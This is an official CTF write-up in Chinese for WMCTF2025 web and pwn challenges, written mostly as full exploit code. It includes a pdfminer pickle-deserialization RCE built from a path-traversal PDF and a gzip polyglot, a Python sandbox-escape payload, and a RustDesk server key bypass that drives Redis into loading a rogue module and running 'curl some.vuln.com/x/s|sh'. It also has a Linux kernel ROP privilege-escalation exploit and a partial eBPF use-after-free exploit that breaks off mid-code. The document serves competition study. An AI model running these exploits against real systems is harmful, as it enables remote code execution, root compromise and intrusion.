WMCTF2025 Official WriteUp
Web
pdf2text
pdfminer 这个库内部使用了pickle.loads
询问一下copilot该如何触发 CMapDB 的 _load_data 方法
给出的 poc.pdf 如下
%PDF-1.4
1 0 obj
<< /Type /Catalog
/Pages 2 0 R
>>
endobj
2 0 obj
<< /Type /Pages
/Kids [3 0 R]
/Count 1
>>
endobj
3 0 obj
<< /Type /Page
/Parent 2 0 R
/MediaBox [0 0 612 792]
/Contents 4 0 R
/Resources <<
/Font <<
/F1 5 0 R
>>
>>
>>
endobj
4 0 obj
<< /Length 44 >>
stream
BT
/F1 24 Tf
1 0 0 1 100 700 Tm
<0015> Tj
ET
endstream
endobj
5 0 obj
<<
/Type /Font
/Subtype /Type0
/BaseFont /AdobeSongStd-Light
/Encoding /Adobe-GB1-0
/DescendantFonts [6 0 R]
>>
endobj
6 0 obj
<<
/Type /Font
/Subtype /CIDFontType0
/BaseFont /AdobeSongStd-Light
/CIDSystemInfo <<
/Registry (Adobe)
/Ordering (GB1)
/Supplement 0
>>
>>
endobj
xref
0 7
0000000000 65535 f
0000000010 00000 n
0000000060 00000 n
0000000117 00000 n
0000000302 00000 n
0000000372 00000 n
0000000484 00000 n
trailer
<<
/Root 1 0 R
/Size 7
>>
startxref
582
%%EOF
使用代码验证:
poc.py
from pdfminer.high_level import extract_text
text = extract_text('poc.pdf')
print(text)
打断点,确实调用了
此时的调用栈
现在已经能够进入 _load_data 方法了,接下来看看如何控制pickle文件的路径。
默认情况下,文件路径有2个:环境变量 CMAP_PATH 表示的路径,和/usr/share/pdfminer/
题目没有给 CMAP_PATH 环境变量,且/usr/share/pdfminer/不可写,所以这两个路径都不能用,需要进行路径穿越。
自然想到把上述poc.pdf中的 /Encoding 改成下面这样
/Encoding /../../../../../../../../../../../../../../../../../../evil
但是点号和斜杠不会被当做字符串,需要进行16进制或者8进制编码一下:
/Encoding /#2e#2e#2f#2e#2e#2f#2e#2e#2f#2e#2e#2f#2e#2e#2f#2e#2e#2fapp#2fa
得到的poc.pdf
再次进行验证,可以成功穿越:
现在回到题目,梳理一下思路:
- 上传一个 gzip 压缩过的 pickle 序列化文件
- 上传一个使用 CMapDB 加载序列化文件的pdf
但是题目添加了一个限制,得保证上传的文件被pdfminer认为是一个pdf:
try:
# judge if is a pdf
parser = PDFParser(io.BytesIO(pdf_content))
doc = PDFDocument(parser)
except Exception as e:
return str(e), 500
这就是难处所在了,pickle序列化文件的格式有严格要求,如何伪装成一个pdf呢?
接下来对原先的 poc.pdf 进行删减,黑盒测试一下什么样的pdf会通过检测
poc.pdf
trailer
<<
/Root 1 0 R
>>
startxref
测试脚本,如果不抛出异常说明是合法pdf
from pdfminer.pdfparser import PDFParser
from pdfminer.pdfdocument import PDFDocument
parser = PDFParser(open('poc.pdf', 'rb'))
doc = PDFDocument(parser)
运行时发现没有报异常,说明上面的是一个合法pdf
接下来考虑如何把上面的数据塞进一个gzip压缩之后的pickle序列化文件
查资料后发现,gzip压缩实际上也是支持注释的,那把上面的pdf内容当做注释塞进去,是不是就可以被认为是pdf了?
下面的代码使用 pigz 压缩工具,生成一个带注释的gzip压缩过的pickle序列化文件
import subprocess, base64
data = b'''(S"whoami"
ios
system
.'''
data = base64.b64encode(data).decode()
target_file = 'evil.pickle.gz'
process = subprocess.Popen(
['/bin/bash', "-c", 'echo "{}" | base64 -d | pigz --comment "\ntrailer\n<< /Root 1 0 R /Size 1 >>\nstartxref\n" > {}'.format(data, target_file)]
)
process.wait()
检测是否是一个pdf,运行后不抛异常,说明检测通过了。
from pdfminer.pdfparser import PDFParser
from pdfminer.pdfdocument import PDFDocument
parser = PDFParser(open('evil.pickle.gz', 'rb'))
doc = PDFDocument(parser)
以上所有难点都解决了,完整exp如下:
import subprocess,requests, base64
from io import BytesIO
url = 'http://192.168.109.128:5005'
data = b'''(S"mkdir /app/static && cat /flag > /app/static/1.txt"
ios
system
.'''
data = base64.b64encode(data).decode()
target_file = 'evilpickle.pickle.gz'
process = subprocess.Popen(
['/bin/bash', "-c", 'echo "{}" | base64 -d | pigz --comment "\ntrailer\n<< /Root 1 0 R /Size 1 >>\nstartxref\n" > {}'.format(data, target_file)]
)
process.wait()
res = requests.post(f'{url}/upload', files={
'file':(target_file, open(target_file,'rb'))
})
print(res.text)
pdf = 'evil.pdf'
res = requests.post(f'{url}/upload', files={
'file':(pdf, open(pdf, 'rb'))
})
print(res.text)
evil.pdf
%PDF-1.4
1 0 obj
<< /Type /Catalog
/Pages 2 0 R
>>
endobj
2 0 obj
<< /Type /Pages
/Kids [3 0 R]
/Count 1
>>
endobj
3 0 obj
<< /Type /Page
/Parent 2 0 R
/MediaBox [0 0 612 792]
/Contents 4 0 R
/Resources <<
/Font <<
/F1 5 0 R
>>
>>
>>
endobj
4 0 obj
<< /Length 44 >>
stream
BT
/F1 24 Tf
1 0 0 1 100 700 Tm
<0015> Tj
ET
endstream
endobj
5 0 obj
<<
/Type /Font
/Subtype /Type0
/BaseFont /AdobeSongStd-Light
/Encoding /#2e#2e#2f#2e#2e#2f#2e#2e#2f#2e#2e#2f#2e#2e#2f#2e#2e#2f#2e#2e#2f#2e#2e#2f#2e#2e#2f#2e#2e#2f#2e#2e#2fapp#2fuploads#2fevilpickle
/DescendantFonts [6 0 R]
>>
endobj
6 0 obj
<<
/Type /Font
/Subtype /CIDFontType0
/BaseFont /AdobeSongStd-Light
/CIDSystemInfo <<
/Registry (Adobe)
/Ordering (GB1)
/Supplement 0
>>
>>
endobj
xref
0 7
0000000000 65535 f
0000000010 00000 n
0000000060 00000 n
0000000117 00000 n
0000000302 00000 n
0000000372 00000 n
0000000484 00000 n
trailer
<<
/Root 1 0 R
/Size 7
>>
startxref
582
%%EOF
guess
MT19937 随机数预测
https://github.com/guoql666/pyrandcracker/blob/master/README-zh.md
from pyrandcracker import RandCracker
import time, random, requests, json, os
from tqdm import *
rd = random.Random()
url = 'http://1c2d3e8d-10d4-4740-9ad9-36494db51b22.wmctf-ins.wm-team.cn'
data = []
for i in tqdm(range(624)):
res = requests.post(f'{url}/register', json={
'username':str(os.urandom(10)),
'password':'123'
})
try:
user_id = res.json()['user_id']
except Exception as e:
print(res.text)
time.sleep(0.1)
data.append(int(user_id))
# 初始化随机数生成器
# 初始化预测器
rc = RandCracker()
# data = [rd.getrandbits(32) for _ in range(624)]
for num in data:
# 提交共计312 * 64 = 19968位
rc.submit(num)
# 检查是否可解并自动求解
rc.check()
key = rc.rnd.getrandbits(32)
print(f"predict next random number is {key}")
payload = '''
[k for i,k in enumerate({}.__class__.__base__.__subclasses__()) if '__init__' in k.__dict__ and 'wrapper' not in k.__init__.__str__()][0].__init__.__globals__['__builtins__']['__import__']('os').system('mkdir /app/static/ && cat /flag > /app/static/1.txt')
'''
res = requests.post(f'{url}/api', json={
'key': key,
'payload':payload
})
print(res.text)
safeline
和出题人协商后该题暂不放出WriteUp
Ezparquet
和出题人协商后该题暂不放出WriteUp,待官方发布新版本修复漏洞后补充WriteUp
Rustdesk笑传之change client backend
题目为一台安装有Redis和Rustdesk受控端客户端的Linux服务器。
题目给出了靶机服务器的Rustdesk客户端ID,并且给出了靶机服务器使用的Redis版本(5.0.7)。
附件中给出Rustdesk客户端为最新版(1.4.1),Rustdesk服务器为最新版(1.1.14)。Rustdesk客户端主控端和受控端使用同一个安装包。
尝试本地安装Rustdesk客户端连接目标服务器ID可以发现,主控端任何连接都需要服务器Key才能开始,而题目不给出服务器Key。
Rustdesk开源版本服务器分为两个部分,hbbs(rendezvous_server,集合服务器)负责ID管理,hbbr(relay_server,中继服务器)负责中继通信。
审计hbbr源码可以发现,默认情况下它并不验证Key。 在https://github.com/rustdesk/rustdesk-server/blob/1.1.14/src/relay_server.rs#L430 中仅当!key.is_empty()
时验证key,key在启动时通过命令行传入或读取环境变量KEY的值https://github.com/rustdesk/rustdesk-server/blob/1.1.14/src/hbbr.rs#L41 ,然后对key进行base64解码或当key是-时生成新的key https://github.com/rustdesk/rustdesk-server/blob/1.1.14/src/relay_server.rs#L576 。默认情况下,命令行参数不存在key,环境变量也不存在KEY,所以key解码后的值是空值,不进行Key验证。(本题目并不需要利用hbbr)
审计hbbs源码发现,handle_punch_hole_request
函数中实现了对key的验证 https://github.com/rustdesk/rustdesk-server/blob/master/src/rendezvous_server.rs#L682 ,但是除此之外,其它函数并没有验证key。
那么其他函数有什么用呢?在handle_tcp
函数中可以看到 https://github.com/rustdesk/rustdesk-server/blob/master/src/rendezvous_server.rs#L484 ,hbbs一共会响应这几种rendevous_message
消息:
rendezvous_message::Union::PunchHoleRequest
rendezvous_message::Union::RequestRelay
rendezvous_message::Union::RelayResponse
rendezvous_message::Union::PunchHoleSent
rendezvous_message::Union::LocalAddr
rendezvous_message::Union::TestNatRequest
rendezvous_message::Union::RegisterPk
其中只有响应PunchHoleRequest消息时验证Key。
抓包分析或分析源码可得知,正常情况下,主控端连接受控端都要先向hbbs发PunchHoleRequest消息,然后根据NAT情况考虑打洞、中继或直接内网连接等(hbbs具体逻辑在handle_punch_hole_request
中,客户端逻辑在 https://github.com/rustdesk/rustdesk/blob/1.4.1/src/rendezvous_mediator.rs#L554 )。
如果主控客户端决定使用中继,将会向hbbs发送RequestRelay消息,hbbs转发给peer,然后主控客户端和受控客户端同时向hbbr服务器使用同一个uuid连接。
这就带来了两个问题:
- 主控客户端和受控客户端连接的hbbr服务器是哪一个?
- uuid是在哪决定的?
继续分析RequestRelay消息。hbbs响应RequestRelay消息时,会根据传入的peer id在内存中寻找Peer,如果寻找到Peer存在,那么将RequestRelay消息原封不动的转发给peer https://github.com/rustdesk/rustdesk-server/blob/master/src/rendezvous_server.rs#L498 。
接着看客户端收到RequestRelay消息会如何处理:
https://github.com/rustdesk/rustdesk/blob/1.4.1/src/rendezvous_mediator.rs#L413 一直往下走到 https://github.com/rustdesk/rustdesk/blob/1.4.1/src/server.rs#L278 ,会发现:收到RequestRelay消息的客户端(受控端)使用收到的RequestRelay消息里的relay_server,打开一个tcp连接,然后向这个tcp连接发送一个RequestRelay消息,这个消息里包含有licence_key(即本地客户端填写的服务器Key)和消息里收到的uuid。
因此,可以回答之前提出的两个问题:
- 主控客户端和受控客户端连接的hbbr服务器是由主控客户端提出的,通过RequestRelay消息发送给受控客户端。
- uuid是由主控客户端决定的,通过RequestRelay消息发送给受控客户端。
综上,这就带来了三个问题:
-
主控客户端如果直接发送RequestRelay消息而不发送PunchHoleRequest消息,就绕过了hbbs的key检测。
-
主控客户端可以任意指定hbbr的地址,如果hbbr的地址指向本地的无密码redis服务器...
-
主控客户端可以任意指定uuid,Protobuf消息字符串会明文传输,如果uuid里包含换行符和redis命令...
-
因为受控端发送的RequestRelay消息里包含有licence_key(即受控端本地填写的服务器Key),如果受控端本地填写了服务器Key,可以泄露受控端填写的服务器Key到任意tcp端点。(本题中,受控端没有填写服务器Key,因此无法利用这一点)
因此,编写Python脚本直接发送RequestRelay消息到hbbs,指定靶机的ID,指定relay_server地址为127.0.0.1:6379,指定uuid为redis命令,即可绕过服务器Key,并在本地无密码的redis服务器执行命令。
靶机的redis服务器版本为5.0.7,可以使用主从同步写入恶意模块并执行任意系统命令。
RequestRelay消息本身是protobuf消息,定义位于 https://github.com/rustdesk/hbb_common/blob/main/protos/rendezvous.proto ,使用protoc转换为python protoc rendezvous.proto --python_out=./python
,然后构造消息发送到hbbs即可。
hbbs有tcp和websocket端点,通过websocket发送较tcp更简单。
exp,其中some.vuln.com 6379
为运行https://github.com/Dliv3/redis-rogue-server的服务器(需要修改默认端口21000);curl some.vuln.com/x/s|sh
为下载恶意脚本并执行,请替换为您的个人服务器。
import time
from websockets.sync.client import connect
import google.protobuf
import rendezvous_pb2 as rendezvous_message
SERVER= "ws://47.96.76.236:21118/"
REMOTE_ID = "202899458"
KEY=None
def send_redis_command(command):
RendezvousMessage = rendezvous_message.RendezvousMessage
'''
message RequestRelay {
string id = 1;
string uuid = 2;
bytes socket_addr = 3;
string relay_server = 4;
bool secure = 5;
string licence_key = 6;
ConnType conn_type = 7;
string token = 8;
}
'''
message = rendezvous_message.RendezvousMessage()
r = rendezvous_message.RequestRelay()
r.id = REMOTE_ID
r.uuid = '\r\n'+command+'\r\n'
r.relay_server = "127.0.0.1:6379"
r.secure = False
if KEY:
r.licence_key=KEY
message.request_relay.CopyFrom(r)
print("===== The message to send =====")
print(message)
print("================================")
toString = message.SerializeToString()
def hello():
with connect(SERVER) as websocket:
websocket.send(toString)
raw_data = websocket.recv()
message = RendezvousMessage()
message.ParseFromString(raw_data)
print("===== The received message =====")
print(message)
print("================================")
hello()
send_redis_command("slaveof some.vuln.com 6379")
time.sleep(5)
#Add spaces to prevent "'" from appearing in the protobuf binary
send_redis_command("module load /var/lib/redis/dump.rdb ")
time.sleep(1)
send_redis_command('system.exec "curl some.vuln.com/x/s|sh"')
Pwn
wm_easyker
漏洞
该题目的漏洞比较明显,可以任意地址读一次,并且可以控制rsp寄存器的值,漏洞来源于sctf2023中的sycrop,但是区别在于该题目使用的内核为6.6.98
,正如原题目中所述,在linux 6.2之后, per cpu entry area加入了随机化,因此原文章中的利用手法就不再适用了,同时还关闭了-enable-kvm
、 --cpu host
,使得entry_bleed也不再适用。间接disable掉了ret2dir
方法的利用。
这里我们采用u1f383发现的利用手法来进行利用
该利用手法简言之就是可以控制&input_pool.hash.buf中的内容,并且input_pool是可以通过泄露kernel_base来计算出来的。知道这种方法,利用也就变的简单了。
通过调试我们发现,我们数据的u64[0x1fff9]偏移处非常大概率会被写入到&input_pool.hash.buf中,因此可以通过多次尝试来提高正确率。
原文章提到了该利用手法的两个限制,即buf中的内容并不是持久化的以及写入数据的位置是随机的(即不知道我们写入的数据哪一部分会被写入到&input_pool.hash.buf中),同时文中也提出了解决方案, 因此也可以使用文章中的解决方案来进行更加稳定的利用。
接着我们可以通过控制rsp来跳到&input_pool.hash.buf上面,在上面写入rop_chain来调用copy_from_user进行"栈"拓展, 接着再接一段rop chain,然后可以使用kylebot
提出的telefork方法来返回用户态。
完整exp如下
#include <banzi.h>
#define AAR 0x8888
#define JAW 0x9999
#define WRITE_RANDOM_SIZE 0x100000ul
struct in_args {
uint64_t addr;
char* buf;
};
struct jmp_args {
uint64_t addr;
};
int fd = -1;
int aar(uint64_t addr, char* buf) {
struct in_args args = { .addr = addr, .buf = buf };
int ret = ioctl(fd, AAR, &args);
if (ret < 0) {
loge("Failed to read from kernel: %s", strerror(errno));
return -1;
}
return 0;
}
int jmp_address(uint64_t addr) {
struct jmp_args args = { .addr = addr };
int ret = ioctl(fd, JAW, &args);
if (ret < 0) {
loge("Failed to jump to address: %s", strerror(errno));
return -1;
}
return 0;
}
int main() {
int random_fd = -1;
unsigned long* random_data;
fd = open("/dev/wmeasyker", O_RDWR);
if (fd < 0) {
loge("Failed to open /dev/wmeasyker");
return 1;
}
char* buf = calloc(1, 0x20000);
aar(0xfffffe0000000004, buf);
kernel_base = *(uint64_t*)(buf);
kernel_base = kernel_base - 0x1008e00;
logi("Kernel base: 0x%lx", kernel_base);
uint64_t input_pool_addr = kernel_base + (0xffffffff82bd1780 - 0xffffffff81000000);
logi("Input pool address: 0x%lx", input_pool_addr);
SYSCHK(random_fd = open("/dev/random", O_WRONLY));
SYSCHK(random_data = mmap(NULL, WRITE_RANDOM_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0));
memset(buf, '\x00', 0x1000);
uint64_t* addr = buf;
uint64_t index = 0;
// commit_creds(&init_cred);
addr[index++] = kernel_base + (0xffffffff81081c4d - 0xffffffff81000000); // pop_rdi_ret
addr[index++] = kernel_base + (0xffffffff82a50f60 - 0xffffffff81000000); // init_cred
addr[index++] = kernel_base + (0xffffffff810c38b0 - 0xffffffff81000000); // commit_creds
// switch_task_namespaces(find_task_by_vpid(1), &init_nsproxy);
addr[index++] = kernel_base + (0xffffffff81081c4d - 0xffffffff81000000); // pop_rdi_ret
addr[index++] = 1;
addr[index++] = kernel_base + (0xffffffff810b8ce0 - 0xffffffff81000000); // find_task_by_vpid
addr[index++] = kernel_base + (0xffffffff8106a167 - 0xffffffff81000000); // pop_rbx_ret
addr[index++] = input_pool_addr + 0x3168 + 0x80; // input_pool_addr
addr[index++] = kernel_base + (0xffffffff8122fe84 - 0xffffffff81000000); // push rax; jmp qword ptr [rbx];
addr[index++] = kernel_base + (0xffffffff8125173e - 0xffffffff81000000); // pop_rsi_ret
addr[index++] = kernel_base + (0xffffffff82a50a80 - 0xffffffff81000000); // init_nsproxy
addr[index++] = kernel_base + (0xffffffff810c1670 - 0xffffffff81000000); // switch_task_namespaces
// telefork
addr[index++] = kernel_base + (0xffffffff8108e7a0 - 0xffffffff81000000); // __x64_sys_vfork
addr[index++] = kernel_base + (0xffffffff81081c4d - 0xffffffff81000000); // pop_rdi_ret
addr[index++] = 0x1000000;
addr[index++] = kernel_base + (0xffffffff8113f6b0 - 0xffffffff81000000); // msleep
addr[index++] = kernel_base + (0xffffffff81081c4d - 0xffffffff81000000); // pop_rdi_ret
memset(random_data, 'X', WRITE_RANDOM_SIZE);
random_data[0x1fff9 - 1] = kernel_base + (0xffffffff81081c4d - 0xffffffff81000000); // pop_rdi_ret
random_data[0x1fff9] = input_pool_addr + 0x3168;
random_data[0x1fff9 + 1] = kernel_base + (0xffffffff8125173e - 0xffffffff81000000); // pop_rsi_ret
random_data[0x1fff9 + 2] = addr; // addr
random_data[0x1fff9 + 3] = kernel_base + (0xffffffff813115e2 - 0xffffffff81000000); // pop_rdx_ret
random_data[0x1fff9 + 4] = 0x1000;
random_data[0x1fff9 + 5] = kernel_base + (0xffffffff815a2730 - 0xffffffff81000000);//copy_from_user
write(random_fd, random_data, WRITE_RANDOM_SIZE);
jmp_address(input_pool_addr + 0x30);
SYSCHK(setns(open("/proc/1/ns/mnt", O_RDONLY), 0));
char* args[] = { "/bin/sh", "-i", NULL };
execve(args[0], args, NULL);
}
wm_easynetlink
wm_easynetlink
该题漏洞为uaf漏洞,可以往随机大小free堆块中的随机偏移处写随机值,漏洞来源于actf2025-arandom
该题的利用方式来源是CVE-2025-40364
简单来说,由于我们可以往随机堆块中随机偏移处写随机值,并且bpf_array的size我们是可以控制的,因此我们可以使得该size和前面的随机size相同, free堆块以后就可以使用bpf_array占位free之后的堆块,在过了verify以后往bpf_array随机value地址处写入一个随机值,这样我们运行时就可以得到一个和verify时不同的值,接着我们便可以使用CVE-2023-2163中的方法来做任意地址读写。
该题与actf2025-arandom的区别在于套了一层netlink和nsjail,因此需要学习netlink的交互,具体可参考下面的两篇文章
Linux generic netlink 自定义内核通信
Linux netlink详解
接下来是nsjail逃逸部分,这里我参考了ptr-yudai以及d3kcache的方法.
由于我们有任意地址读写,因此可以通过prctl(PR_SET_NAME, "bubblebu")来设置task_struct.comm,然后内存搜索bubblebu
即可获取task_struct的地址,但是地址范围比较大,因此我们可以缩小我们搜索的范围,可以通过CVE-2023-2163来获取当前进程的task_struct,接着通过task_struct我们便可以获取pgd等信息,最后参考ptr-yudai以及d3kcache中的方法来patch内核地址从而执行shellcode进行nsjail逃逸。
完整exp如下
#include <banzi.h>
#include <stdio.h>
#include <stdlib.h>
#include <netlink/genl/genl.h>
#include <netlink/netlink.h>
#include <errno.h>
#include "linux-6.6.98/samples/bpf/bpf_insn.h"
#include <linux/bpf.h>
int famid;
struct nl_sock* nlsock;
#define DELCMD 1
#define ADDCMD 2
#define SHOWCMD 3
#define EDITCMD 4
#define LISTCMD 5
#define ADDONLY 6
uint64_t alloc_size;
uint64_t random_offset;
uint64_t value;
uint64_t kernel_base;
#define PTE_OFFSET 12
#define PMD_OFFSET 21
#define PUD_OFFSET 30
#define PGD_OFFSET 39
#define PT_ENTRY_MASK 0b111111111UL
#define PTE_MASK (PT_ENTRY_MASK << PTE_OFFSET)
#define PMD_MASK (PT_ENTRY_MASK << PMD_OFFSET)
#define PUD_MASK (PT_ENTRY_MASK << PUD_OFFSET)
#define PGD_MASK (PT_ENTRY_MASK << PGD_OFFSET)
#define PTE_ENTRY(addr) ((addr >> 12) & PT_ENTRY_MASK)
#define PMD_ENTRY(addr) ((addr >> 21) & PT_ENTRY_MASK)
#define PUD_ENTRY(addr) ((addr >> 30) & PT_ENTRY_MASK)
#define PGD_ENTRY(addr) ((addr >> 39) & PT_ENTRY_MASK)
#define PAGE_ENTRY(addr) ((addr) & PT_ENTRY_MASK)
#define PAGE_ATTR_RW (1UL << 1)
#define PAGE_ATTR_NX (1UL << 63)
size_t s2, tmp_idx, page_offset_base, vmemmap_base;
int add(unsigned int idx) {
struct nl_msg* msg;
int res = 0;
msg = nlmsg_alloc();
genlmsg_put(msg, NL_AUTO_PORT, NL_AUTO_SEQ, famid, 0, NLM_F_REQUEST, ADDCMD, 1);
nla_put_u64(msg, 2, idx);
res = nl_send_auto(nlsock, msg);
if (res > 0) {
logi("send success: %d\n", res);
}
}
int del(unsigned int idx) {
struct nl_msg* msg;
int res = 0;
msg = nlmsg_alloc();
genlmsg_put(msg, NL_AUTO_PORT, NL_AUTO_SEQ, famid, 0, NLM_F_REQUEST, DELCMD, 1);
nla_put_u64(msg, 2, idx);
res = nl_send_auto(nlsock, msg);
if (res > 0) {
logi("send success: %d\n", res);
}
}
int edit(unsigned int idx) {
struct nl_msg* msg;
int res = 0;
msg = nlmsg_alloc();
genlmsg_put(msg, NL_AUTO_PORT, NL_AUTO_SEQ, famid, 0, NLM_F_REQUEST, EDITCMD, 1);
nla_put_u64(msg, 2, idx);
res = nl_send_auto(nlsock, msg);
if (res > 0) {
logi("send success: %d\n", res);
}
}
int show(unsigned int content, unsigned int addr) {
//edit cmd
struct nl_msg* msg;
int res = 0;
msg = nlmsg_alloc();
genlmsg_put(msg, NL_AUTO_PORT, NL_AUTO_SEQ, famid, 0, NLM_F_REQUEST, SHOWCMD, 1);
nla_put_string(msg, 3, content);
nla_put_u64(msg, 4, addr);
res = nl_send_auto(nlsock, msg);
if (res > 0) {
logi("send success: %d\n", res);
}
}
// BPF map address acquisition macro
#define BPF_MAP_GET_ADDR(idx, dst) \
BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), \
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), \
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), \
BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx), \
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, \
BPF_FUNC_map_lookup_elem), \
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), BPF_EXIT_INSN(), \
BPF_MOV64_REG((dst), BPF_REG_0), BPF_MOV64_IMM(BPF_REG_0, 0)
#define LOG_BUF_SZ (0x10000)
char log_buf[LOG_BUF_SZ];
int map_fd = -1;
int map_fd2 = -1;
// Create BPF maps
int create_bpf_maps() {
union bpf_attr attr = {};
union bpf_attr attr2 = {};
// Create main map
attr.map_type = BPF_MAP_TYPE_ARRAY;
attr.key_size = 4;
attr.value_size = (alloc_size - 0x100 - 0x40);
attr.max_entries = 1;
attr.map_flags = BPF_F_RDONLY_PROG;
map_fd = SYSCHK(syscall(SYS_bpf, BPF_MAP_CREATE, &attr, sizeof(attr)));
// Create auxiliary map
attr2.map_type = BPF_MAP_TYPE_ARRAY;
attr2.key_size = 4;
attr2.value_size = 0x2000;
attr2.max_entries = 0x1;
attr2.inner_map_fd = 0;
map_fd2 = SYSCHK(syscall(SYS_bpf, BPF_MAP_CREATE, &attr2, sizeof(attr2)));
// Freeze main map
union bpf_attr freeze_attr = {};
freeze_attr.map_fd = map_fd;
SYSCHK(syscall(SYS_bpf, BPF_MAP_FREEZE, &freeze_attr, sizeof(freeze_attr)));
return 0;
}
// Create BPF program for stack overflow exploitation
int create_stack_overflow_prog() {
struct bpf_insn prog[] = {
BPF_MOV64_REG(BPF_REG_9, BPF_REG_1),
// Setup map lookup
BPF_LD_MAP_FD(BPF_REG_1, map_fd),
BPF_ST_MEM(BPF_W, BPF_REG_10, -4, 0),
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
BPF_EXIT_INSN(),
BPF_MOV64_REG(BPF_REG_8, BPF_REG_0),
BPF_LDX_MEM(BPF_DW, BPF_REG_4, BPF_REG_8, random_offset),
BPF_ALU64_IMM(BPF_AND, BPF_REG_4, 0x1),
// Setup stack layout for overflow attack
BPF_ST_MEM(BPF_DW, BPF_REG_10, -8, 0xCAFE), // magic value1
BPF_ST_MEM(BPF_DW, BPF_REG_10, -16, 0xBACA), // magic value2
BPF_LD_MAP_FD(BPF_REG_8, map_fd2),
// *(r10 - 24) = r8
BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_8, -24),
BPF_MOV64_REG(BPF_REG_5, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_5, -8),
BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_5, -32),
// Trigger stack overflow
BPF_MOV64_REG(BPF_REG_1, BPF_REG_9),
BPF_MOV64_IMM(BPF_REG_2, 0),
BPF_MOV64_REG(BPF_REG_3, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, -40),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_4, 8),
BPF_MOV64_IMM(BPF_REG_5, 1),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_skb_load_bytes_relative),
// Verify overflow success and extract leaked kernel address
BPF_LDX_MEM(BPF_DW, BPF_REG_5, BPF_REG_10, -32),
BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_5, 0),
BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_5, -8),
// Verify magic value
// BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0xBACA, 12),
// Store leaked kernel address
BPF_LD_MAP_FD(BPF_REG_9, map_fd2),
BPF_MAP_GET_ADDR(0, BPF_REG_8),
// *(r8) = r7
BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_7, 0),
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
};
union bpf_attr prog_attr = {};
prog_attr.prog_type = BPF_PROG_TYPE_SOCKET_FILTER;
prog_attr.insn_cnt = sizeof(prog) / sizeof(struct bpf_insn);
prog_attr.insns = (uintptr_t)prog;
prog_attr.license = (uintptr_t)"GPL";
prog_attr.log_level = 2;
prog_attr.log_buf = (uintptr_t)log_buf;
prog_attr.log_size = LOG_BUF_SZ;
int prog_fd = syscall(SYS_bpf, BPF_PROG_LOAD, &prog_attr, sizeof(prog_attr));
if (prog_fd < 0) {
puts(log_buf);
perror("syscall");
}
else {
puts(log_buf);
}
return prog_fd;
}
// Create variant program for address leaking
int create_leak_variant_prog(int multiplier, int size) {
struct bpf_insn prog[] = {
BPF_MOV64_REG(BPF_REG_9, BPF_REG_1),
BPF_LD_MAP_FD(BPF_REG_1, map_fd),
BPF_ST_MEM(BPF_W, BPF_REG_10, -4, 0),
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
BPF_EXIT_INSN(),
BPF_MOV64_REG(BPF_REG_8, BPF_REG_0),
// r4 = *(u64 *)(BPF_REG_8 + random_offset)
BPF_LDX_MEM(BPF_DW, BPF_REG_4, BPF_REG_8, random_offset),
BPF_ALU64_IMM(BPF_AND, BPF_REG_4, 0x1),
BPF_MOV64_REG(BPF_REG_6, BPF_REG_4),
BPF_ALU64_IMM(BPF_MUL, BPF_REG_4, multiplier),
BPF_ST_MEM(BPF_DW, BPF_REG_10, -8, 0xCAFE),
BPF_ST_MEM(BPF_DW, BPF_REG_10, -16, 0xBACA),
BPF_LD_MAP_FD(BPF_REG_8, map_fd2),
BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_8, -24),
BPF_MOV64_REG(BPF_REG_5, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_5, -8),
BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_5, -32),
BPF_MOV64_REG(BPF_REG_1, BPF_REG_9),
BPF_MOV64_IMM(BPF_REG_2, 0),
BPF_MOV64_REG(BPF_REG_3, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, -40),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_4, 8),
BPF_MOV64_IMM(BPF_REG_5, 1),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_skb_load_bytes_relative),
BPF_LD_MAP_FD(BPF_REG_9, map_fd2),
BPF_MOV64_REG(BPF_REG_1, BPF_REG_9),
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),
BPF_ST_MEM(BPF_W, BPF_REG_10, -4, 0),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0,BPF_FUNC_map_lookup_elem),
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), BPF_EXIT_INSN(),
BPF_MOV64_IMM(BPF_REG_7, 0),
BPF_MOV64_REG(BPF_REG_8, BPF_REG_6),
BPF_MOV64_REG(BPF_REG_4, BPF_REG_6),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 1),
